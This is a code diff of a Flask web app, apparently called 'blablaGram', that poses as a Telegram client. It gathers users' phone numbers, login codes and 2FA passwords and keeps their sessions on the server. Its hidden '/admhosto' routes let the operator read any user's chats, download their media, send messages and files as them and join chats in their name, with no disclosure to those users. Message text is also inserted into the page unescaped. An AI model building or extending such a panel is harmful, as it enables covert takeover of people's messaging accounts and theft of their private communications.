  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
759
 
760
  document.getElementById('messageViewer').style.display = 'block';
761
  document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
762
- oldestMessageIdAdmin = null; // Reset oldest message ID for new chat
763
- await fetchMessagesAdmin(userId, chatId, false);
764
  }
765
 
766
- async function fetchMessagesAdmin(userId, chatId, isLoadMore) {
767
  const messagesContainer = document.getElementById('messagesContainer');
768
- const loadMoreBtn = document.getElementById('loadMoreMessagesAdmin');
769
-
770
  if (!isLoadMore) {
771
- messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
772
- oldestMessageIdAdmin = null;
773
- loadMoreBtn.style.display = 'none';
774
  } else {
775
- loadMoreBtn.textContent = 'Loading...';
776
- loadMoreBtn.disabled = true;
 
 
 
 
777
  }
778
 
779
- let url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${messagesPerPageAdmin}`;
780
- if (oldestMessageIdAdmin) {
781
- url += `&max_id=${oldestMessageIdAdmin}`;
782
- }
783
-
784
- const response = await fetch(url);
785
  const result = await response.json();
786
-
787
- if (!isLoadMore) {
788
- messagesContainer.innerHTML = '<button id="loadMoreMessagesAdmin" class="load-more-button" style="display:none;" onclick="loadMoreMessagesAdmin(' + userId + ')">Load Older Messages</button>';
789
  }
790
 
791
  if (result.success && result.messages) {
 
 
 
 
 
 
 
 
 
 
 
792
  result.messages.reverse().forEach(msg => {
793
  const messageItem = document.createElement('div');
794
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
795
- let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
796
  let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
797
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
798
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
799
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
800
 
801
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
802
- messagesContainer.appendChild(messageItem);
803
  });
804
 
805
- if (result.messages.length > 0) {
806
- oldestMessageIdAdmin = result.messages[0].id;
807
- }
808
-
809
- if (result.messages.length < messagesPerPageAdmin || !result.has_more) {
810
- loadMoreBtn.style.display = 'none';
811
  } else {
812
- loadMoreBtn.style.display = 'block';
813
- loadMoreBtn.textContent = 'Load Older Messages';
814
- loadMoreBtn.disabled = false;
815
  }
816
 
 
817
  if (!isLoadMore) {
818
  messagesContainer.scrollTop = messagesContainer.scrollHeight;
819
  }
 
820
 
821
  } else {
822
- messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
823
- loadMoreBtn.style.display = 'none';
824
  }
825
  }
826
 
827
- function loadMoreMessagesAdmin(userId) {
828
- const selectedChatId = document.querySelector('.chat-item.active')?.dataset.id;
829
- if (userId && selectedChatId && oldestMessageIdAdmin) {
830
- fetchMessagesAdmin(userId, selectedChatId, true);
831
- }
832
  }
833
 
834
  async function sendMessage(userId) {
835
- const chatId = document.getElementById('sendMessageRecipient').value;
836
- const message = document.getElementById('sendMessageContent').value;
837
- if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
838
  const response = await fetch(`/admhosto/send_message/${userId}`, {
839
  method: 'POST',
840
  headers: { 'Content-Type': 'application/json' },
@@ -845,6 +976,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
845
  if (result.success) {
846
  document.getElementById('sendMessageRecipient').value = '';
847
  document.getElementById('sendMessageContent').value = '';
 
 
 
848
  }
849
  }
850
 
@@ -853,8 +987,8 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
853
  if (fileInput.files.length === 0) return;
854
 
855
  const file = fileInput.files[0];
856
- const chatId = document.getElementById('sendMessageRecipient').value;
857
- const caption = document.getElementById('sendMessageContent').value;
858
 
859
  if (!chatId) { alert('Recipient is required to send a file.'); return; }
860
 
@@ -867,16 +1001,20 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
867
  document.getElementById('sendMessageContent').value = '';
868
  fileInput.value = '';
869
 
 
870
  const response = await fetch(`/admhosto/send_file/${userId}`, {
871
  method: 'POST',
872
  body: formData
873
  });
874
  const result = await response.json();
875
  alert(result.message);
 
 
 
876
  }
877
 
878
  async function joinChat(userId) {
879
- const chatIdentifier = document.getElementById('joinChatIdentifier').value;
880
  if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
881
  const response = await fetch(`/admhosto/join_chat/${userId}`, {
882
  method: 'POST',
@@ -885,7 +1023,9 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
885
  });
886
  const result = await response.json();
887
  alert(result.message);
888
- if (result.success) { location.reload(); }
 
 
889
  }
890
  </script>
891
  </body>
@@ -906,6 +1046,10 @@ def api_login():
906
 
907
  if not phone:
908
  return jsonify({'success': False, 'message': 'Phone number is required.'})
 
 
 
 
909
 
910
  session_hash = hashlib.md5(phone.encode()).hexdigest()
911
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
@@ -930,14 +1074,25 @@ def api_login():
930
  session['user_id'] = user_db_id
931
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
932
  else:
933
- sent_code = await client.send_code_request(session['current_login_phone'])
934
- session['phone_code_hash'] = sent_code.phone_code_hash
935
- result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
 
 
 
 
 
 
 
 
 
936
  elif step == 'code':
937
  code = data.get('code')
938
  phone_code_hash = session.get('phone_code_hash')
939
  if not phone_code_hash:
940
- raise ValueError('Session expired, please try again.')
 
 
941
 
942
  try:
943
  me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
@@ -951,10 +1106,16 @@ def api_login():
951
  result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
952
  except SessionPasswordNeededError:
953
  result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
 
 
 
 
954
  except FloodWaitError as e:
955
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
956
  except Exception as e:
957
- result = {'success': False, 'message': f'Invalid code or other error: {e}'}
958
 
959
  elif step == 'password':
960
  password = data.get('password')
@@ -970,15 +1131,17 @@ def api_login():
970
  result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
971
  except FloodWaitError as e:
972
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
973
  except Exception as e:
974
- result = {'success': False, 'message': f'Invalid password or other error: {e}'}
975
 
976
  else:
977
  result = {'success': False, 'message': 'Invalid step.'}
978
  except FloodWaitError as e:
979
  result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
980
  except Exception as e:
981
- result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
982
  finally:
983
  if client.is_connected():
984
  await client.disconnect()
@@ -1010,7 +1173,7 @@ def api_logout():
1010
  def blabla_gram_app():
1011
  if 'user_id' not in session:
1012
  return redirect(url_for('index'))
1013
- return render_template_string(BLABLAGRAM_APP_TEMPLATE, MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
1014
 
1015
  @app.route('/api/user_chats')
1016
  def api_user_chats():
@@ -1034,7 +1197,7 @@ def api_user_chats():
1034
  full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
1035
  title = full_name if full_name else "Unnamed User"
1036
  if dialog.entity.username:
1037
- title += f" (@{dialog.entity.username})"
1038
  elif isinstance(dialog.entity, Channel):
1039
  chat_type = 'Channel'
1040
  if hasattr(dialog.entity, 'participants_count'):
@@ -1047,7 +1210,7 @@ def api_user_chats():
1047
  title = title if title else "Unknown Chat"
1048
  chat_type = "Unknown"
1049
 
1050
- initial = title[0].upper() if title else '?'
1051
 
1052
  chats_info.append({
1053
  'id': dialog.id,
@@ -1074,37 +1237,38 @@ def api_get_chat_messages(peer_id):
1074
  user_id = session.get('user_id')
1075
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1076
 
1077
- limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
1078
- max_id = request.args.get('max_id')
1079
- if max_id:
1080
- max_id = int(max_id)
1081
 
1082
  async def _get_messages_async():
1083
  client, error = await get_user_client(user_id)
1084
- if error: return None, error
1085
 
1086
  messages = []
1087
- has_more = True
 
1088
  try:
1089
  entity = await client.get_entity(peer_id)
1090
- fetched_count = 0
1091
- async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
1092
- if fetched_count >= limit:
1093
- has_more = True
1094
  break
1095
 
1096
  msg_data = {
1097
- 'id': message.id,
1098
  'text': message.text,
1099
  'date': message.date.strftime("%b %d, %H:%M"),
1100
  'is_sent': message.out,
1101
- 'sender_name': 'Unknown'
 
1102
  }
1103
  if message.sender:
1104
  if isinstance(message.sender, User):
1105
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1106
- elif hasattr(message.sender, 'title'):
 
1107
  msg_data['sender_name'] = message.sender.title
 
1108
  else:
1109
  msg_data['sender_name'] = str(message.sender.id)
1110
 
@@ -1116,44 +1280,42 @@ def api_get_chat_messages(peer_id):
1116
  if hasattr(attr, 'file_name'):
1117
  file_name = attr.file_name
1118
  break
1119
- elif hasattr(message.media, 'photo'):
1120
- file_name = f"photo_{message.id}.jpg"
1121
-
1122
- full_download_path = Path(DOWNLOAD_DIR) / file_name
1123
- if not full_download_path.exists(): # Only download if not exists
1124
- file_info = await client.download_media(message, file=full_download_path)
1125
- if file_info:
1126
- file_path = Path(file_info)
1127
- msg_data['file_name'] = file_path.name
1128
- file_size = os.path.getsize(file_path)
1129
- msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1130
- else:
1131
- msg_data['file_name'] = "File not available"
1132
- else:
1133
- msg_data['file_name'] = full_download_path.name
1134
- file_size = os.path.getsize(full_download_path)
1135
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1136
-
1137
  except Exception as media_e:
1138
  msg_data['file_name'] = f"Download failed: {media_e}"
1139
  messages.append(msg_data)
1140
- fetched_count += 1
1141
 
1142
- if fetched_count <= limit: # If we fetched <= limit, it means there are no more messages (or exactly limit, but no +1)
1143
- has_more = False
 
 
 
 
 
 
 
1144
 
1145
  except Exception as e:
1146
- return None, str(e), False
1147
  finally:
1148
  if client and client.is_connected():
1149
  await client.disconnect()
1150
- return messages, None, has_more
1151
 
1152
- messages, error, has_more = asyncio.run(_get_messages_async())
1153
  if error:
1154
  return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1155
 
1156
- return jsonify({'success': True, 'messages': messages, 'has_more': has_more})
1157
 
1158
  @app.route('/api/send_message', methods=['POST'])
1159
  def api_send_message():
@@ -1173,6 +1335,8 @@ def api_send_message():
1173
  return {'success': True, 'message': 'Message sent.'}
1174
  except FloodWaitError as e:
1175
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1176
  except Exception as e:
1177
  return {'success': False, 'message': str(e)}
1178
  finally:
@@ -1204,6 +1368,8 @@ def api_send_file():
1204
  return {'success': True, 'message': 'File sent.'}
1205
  except FloodWaitError as e:
1206
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1207
  except Exception as e:
1208
  return {'success': False, 'message': str(e)}
1209
  finally:
@@ -1233,6 +1399,8 @@ def api_join_chat():
1233
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1234
  except (UserNotParticipantError, ValueError):
1235
  return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
 
 
1236
  except Exception as e:
1237
  return {'success': False, 'message': f'Error joining chat: {e}'}
1238
  finally:
@@ -1269,6 +1437,8 @@ def admhosto_manage_user_account(user_id):
1269
  elif isinstance(dialog.entity, User): chat_type = 'User'
1270
 
1271
  title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
 
 
1272
 
1273
  chats_info.append({
1274
  'id': dialog.id,
@@ -1284,40 +1454,41 @@ def admhosto_manage_user_account(user_id):
1284
 
1285
  chats, error = asyncio.run(_get_chats_async())
1286
  if error: return f"Failed to load chats: {error}", 500
1287
- return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']), MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
1288
 
1289
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1290
  def admhosto_get_chat_messages(user_id, peer_id):
1291
- limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
1292
- max_id = request.args.get('max_id')
1293
- if max_id:
1294
- max_id = int(max_id)
1295
 
1296
  async def _get_messages_async():
1297
  client, error = await get_user_client(user_id)
1298
- if error: return None, error, False
1299
  messages = []
1300
- has_more = True
 
1301
  try:
1302
  entity = await client.get_entity(peer_id)
1303
- fetched_count = 0
1304
- async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
1305
- if fetched_count >= limit:
1306
- has_more = True
1307
  break
1308
 
1309
  msg_data = {
1310
- 'id': message.id,
1311
  'text': message.text,
1312
  'date': message.date.strftime("%b %d, %H:%M"),
1313
  'is_sent': message.out,
1314
- 'sender_name': 'Unknown'
 
1315
  }
1316
  if message.sender:
1317
  if isinstance(message.sender, User):
1318
  msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
 
1319
  elif hasattr(message.sender, 'title'):
1320
  msg_data['sender_name'] = message.sender.title
 
1321
  else:
1322
  msg_data['sender_name'] = str(message.sender.id)
1323
 
@@ -1329,40 +1500,39 @@ def admhosto_get_chat_messages(user_id, peer_id):
1329
  if hasattr(attr, 'file_name'):
1330
  file_name = attr.file_name
1331
  break
1332
- elif hasattr(message.media, 'photo'):
1333
- file_name = f"photo_{message.id}.jpg"
1334
 
1335
- full_download_path = Path(DOWNLOAD_DIR) / file_name
1336
- if not full_download_path.exists():
1337
- file_info = await client.download_media(message, file=full_download_path)
1338
- if file_info:
1339
- file_path = Path(file_info)
1340
- msg_data['file_name'] = file_path.name
1341
- file_size = os.path.getsize(file_path)
1342
- msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1343
- else:
1344
- msg_data['file_name'] = "File not available"
1345
- else:
1346
- msg_data['file_name'] = full_download_path.name
1347
- file_size = os.path.getsize(full_download_path)
1348
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1349
  except Exception as media_e:
1350
  msg_data['file_name'] = f"Download failed: {media_e}"
1351
  messages.append(msg_data)
1352
- fetched_count += 1
1353
 
1354
- if fetched_count <= limit:
1355
- has_more = False
 
 
 
 
 
 
 
1356
 
1357
  except Exception as e:
1358
- return None, str(e), False
1359
  finally:
1360
  if client and client.is_connected(): await client.disconnect()
1361
- return messages, None, has_more
1362
 
1363
- messages, error, has_more = asyncio.run(_get_messages_async())
1364
  if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1365
- return jsonify({'success': True, 'messages': messages, 'has_more': has_more})
1366
 
1367
  @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1368
  def admhosto_send_message(user_id):
@@ -1378,6 +1548,8 @@ def admhosto_send_message(user_id):
1378
  return {'success': True, 'message': 'Message sent.'}
1379
  except FloodWaitError as e:
1380
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1381
  except Exception as e:
1382
  return {'success': False, 'message': str(e)}
1383
  finally:
@@ -1405,6 +1577,8 @@ def admhosto_send_file(user_id):
1405
  return {'success': True, 'message': 'File sent.'}
1406
  except FloodWaitError as e:
1407
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1408
  except Exception as e:
1409
  return {'success': False, 'message': str(e)}
1410
  finally:
@@ -1428,6 +1602,8 @@ def admhosto_join_chat(user_id):
1428
  return {'success': True, 'message': 'Successfully joined.'}
1429
  except FloodWaitError as e:
1430
  return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
 
 
1431
  except Exception as e:
1432
  return {'success': False, 'message': f'Error joining: {e}'}
1433
  finally:
 
11
  from telethon.tl.functions.messages import ImportChatInviteRequest
12
  from telethon.tl.functions.channels import JoinChannelRequest
13
  from telethon.tl.types import User, Chat, Channel
14
+ from telethon.errors.rpcerrorlist import PhoneNumberInvalidError, PhoneCodeExpiredError, PhoneCodeInvalidError, RpcCallError
15
 
16
  app = Flask(__name__)
17
 
 
23
  SESSION_DIR = 'sessions'
24
  DOWNLOAD_DIR = 'downloads'
25
  DB_PATH = 'users.db'
 
26
 
27
  os.makedirs(SESSION_DIR, exist_ok=True)
28
  os.makedirs(DOWNLOAD_DIR, exist_ok=True)
 
65
  <meta charset="UTF-8">
66
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
67
  <title>blablaGram - Login</title>
68
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
69
  <style>
70
+ :root {
71
+ --primary-blue: #2AABEE;
72
+ --dark-blue: #1C91D0;
73
+ --background-light: #F5F7FA;
74
+ --background-mid: #E9EBEE;
75
+ --card-background: #FFFFFF;
76
+ --text-dark: #333;
77
+ --text-medium: #666;
78
+ --border-light: #E0E0E0;
79
+ --shadow-light: rgba(0,0,0,0.08);
80
+ --shadow-medium: rgba(0,0,0,0.15);
81
+ }
82
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-mid); color: var(--text-dark); margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; overflow: hidden; }
83
+ .container { background: var(--card-background); padding: 40px; border-radius: 16px; box-shadow: 0 10px 25px var(--shadow-medium); max-width: 440px; width: 90%; text-align: center; animation: fadeIn 0.8s ease-out; }
84
+ @keyframes fadeIn { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }
85
+ h1 { color: var(--primary-blue); margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
86
+ input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid var(--border-light); border-radius: 10px; background: var(--background-light); color: var(--text-dark); font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
87
+ input[type="text"]:focus, input[type="password"]:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #fff; }
88
+ button { background: var(--primary-blue); color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.1em; font-weight: 600; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }
89
+ button:hover { background: var(--dark-blue); transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }
90
+ button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
91
+ .message { margin-top: 25px; padding: 18px; border-radius: 10px; font-size: 0.95em; line-height: 1.5; text-align: left; animation: slideIn 0.5s ease-out forwards; opacity: 0; }
92
+ @keyframes slideIn { from { opacity: 0; transform: translateY(10px); } to { opacity: 1; transform: translateY(0); } }
93
  .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
94
  .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
95
+ .message.info { background: #EBF8FF; color: var(--primary-blue); border: 1px solid #C8E6F0; }
96
  .hidden { display: none; }
97
+
98
+ @media (max-width: 600px) {
99
+ .container { padding: 30px 20px; border-radius: 12px; }
100
+ h1 { font-size: 2.5em; margin-bottom: 25px; }
101
+ input[type="text"], input[type="password"], button { font-size: 1em; padding: 14px; }
102
+ .message { font-size: 0.9em; padding: 15px; }
103
+ }
104
  </style>
105
  </head>
106
  <body>
 
128
  }
129
 
130
  async function startLogin() {
131
+ phone = document.getElementById('phone').value.trim();
132
  if (!phone) {
133
  showMessage('Please enter your phone number.', 'error');
134
  return;
135
  }
136
+ if (!phone.startsWith('+')) {
137
+ showMessage('Please include the country code (e.g., +1234567890).', 'error');
138
+ return;
139
+ }
140
+
141
  showMessage('Sending code...', 'info');
142
+ // Hide previous inputs
143
  document.getElementById('code').classList.add('hidden');
144
  document.getElementById('password').classList.add('hidden');
145
  document.getElementById('submitCode').classList.add('hidden');
 
167
  }
168
 
169
  async function submitCode() {
170
+ const code = document.getElementById('code').value.trim();
171
  if (!code) {
172
  showMessage('Please enter the verification code.', 'error');
173
  return;
 
194
  }
195
 
196
  async function submitPassword() {
197
+ const password = document.getElementById('password').value.trim();
198
  if (!password) {
199
  showMessage('Please enter your cloud password.', 'error');
200
  return;
 
227
  <title>blablaGram</title>
228
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
229
  <style>
230
+ :root {
231
+ --primary-blue: #2AABEE;
232
+ --dark-blue: #1C91D0;
233
+ --background-light: #F5F7FA;
234
+ --background-mid: #E9EBEE;
235
+ --card-background: #FFFFFF;
236
+ --text-dark: #1C1C1C;
237
+ --text-medium: #666;
238
+ --text-light: #888;
239
+ --border-light: #E0E0E0;
240
+ --shadow-light: rgba(0,0,0,0.05);
241
+ --shadow-medium: rgba(0,0,0,0.15);
242
+ --success-green: #28A745;
243
+ --success-green-hover: #218838;
244
+ --secondary-gray: #6C757D;
245
+ --secondary-gray-hover: #5A6268;
246
+ }
247
+
248
+ body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: var(--background-light); overflow: hidden; }
249
  .app-layout { display: flex; height: 100vh; width: 100%; }
250
+
251
+ .sidebar { flex: 0 0 320px; background: var(--card-background); border-right: 1px solid var(--border-light); display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
252
+ .sidebar-header { padding: 15px 20px; border-bottom: 1px solid var(--border-light); display: flex; align-items: center; justify-content: space-between; }
253
+ .sidebar-header h2 { margin: 0; font-size: 1.6em; color: var(--primary-blue); font-weight: 700; letter-spacing: -0.5px; }
254
+ .sidebar-header .actions button { background: none; border: none; font-size: 1.7em; cursor: pointer; color: var(--primary-blue); padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
255
+ .sidebar-header .actions button:hover { background-color: var(--background-light); }
256
+ .sidebar-toggle-button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: var(--primary-blue); padding: 0 10px; display: none; }
257
+
258
+ .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
259
+ .chat-item { display: flex; align-items: center; padding: 14px 20px; border-bottom: 1px solid var(--background-light); cursor: pointer; transition: background-color 0.2s, color 0.2s; }
260
+ .chat-item:hover { background-color: var(--background-light); }
261
+ .chat-item.active { background-color: rgba(42, 171, 238, 0.08); color: var(--primary-blue); border-left: 4px solid var(--primary-blue); padding-left: 16px; }
262
+ .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: var(--primary-blue); color: white; display: flex; align-items: center; justify-content: center; font-size: 1.7em; font-weight: 600; margin-right: 15px; flex-shrink: 0; box-shadow: 0 2px 5px var(--shadow-light); }
263
  .chat-info { flex: 1; overflow: hidden; }
264
+ .chat-info h3 { margin: 0 0 4px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: var(--text-dark); }
265
+ .chat-item.active .chat-info h3 { color: var(--primary-blue); }
266
+ .chat-info p { margin: 0; font-size: 0.85em; color: var(--text-medium); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
267
 
268
  .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
269
+ .chat-panel-header { background: var(--card-background); padding: 15px 25px; border-bottom: 1px solid var(--border-light); display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px var(--shadow-light); }
270
+ .chat-panel-header h2 { margin: 0; font-size: 1.35em; font-weight: 600; color: var(--text-dark); }
271
+ .chat-panel-header .header-actions button { background: var(--primary-blue); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
272
+ .chat-panel-header .header-actions button:hover { background: var(--dark-blue); transform: translateY(-1px); }
273
  .chat-panel-header .header-actions button:active { transform: translateY(0); }
274
+ .chat-panel-header .header-actions .switch-account { background: var(--secondary-gray); margin-left: 10px; box-shadow: 0 2px 5px rgba(108, 117, 125, 0.2); }
275
+ .chat-panel-header .header-actions .switch-account:hover { background: var(--secondary-gray-hover); }
276
 
277
+ .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; scroll-behavior: smooth; }
278
+ .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 2px var(--shadow-light); }
 
 
279
  .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
280
+ .message-item.received { background: var(--card-background); align-self: flex-start; border-bottom-left-radius: 6px;}
281
+ .message-sender { font-weight: 600; color: var(--primary-blue); margin-bottom: 5px; display: block; font-size: 0.9em; }
282
+ .message-text { color: var(--text-dark); white-space: pre-wrap; word-break: break-word;}
283
+ .message-meta { font-size: 0.75em; color: var(--text-light); margin-top: 6px; text-align: right; }
284
+ .media-link { display: block; margin-top: 8px; color: var(--primary-blue); text-decoration: none; font-weight: 500; word-break: break-all; }
285
  .media-link:hover { text-decoration: underline; }
286
+ .load-more-messages { text-align: center; margin-top: 15px; color: var(--text-medium); font-size: 0.9em;}
287
+ .load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
288
+ .load-more-messages button:hover { background: var(--dark-blue); }
289
 
290
+ .chat-input-area { background: var(--card-background); padding: 12px 20px; border-top: 1px solid var(--border-light); display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px var(--shadow-light); }
291
+ .chat-input-area textarea { flex: 1; padding: 12px 16px; border: 1px solid var(--border-light); border-radius: 24px; background: var(--background-light); resize: none; overflow-y: auto; max-height: 120px; min-height: 48px; font-size: 1em; line-height: 1.4; color: var(--text-dark); transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
292
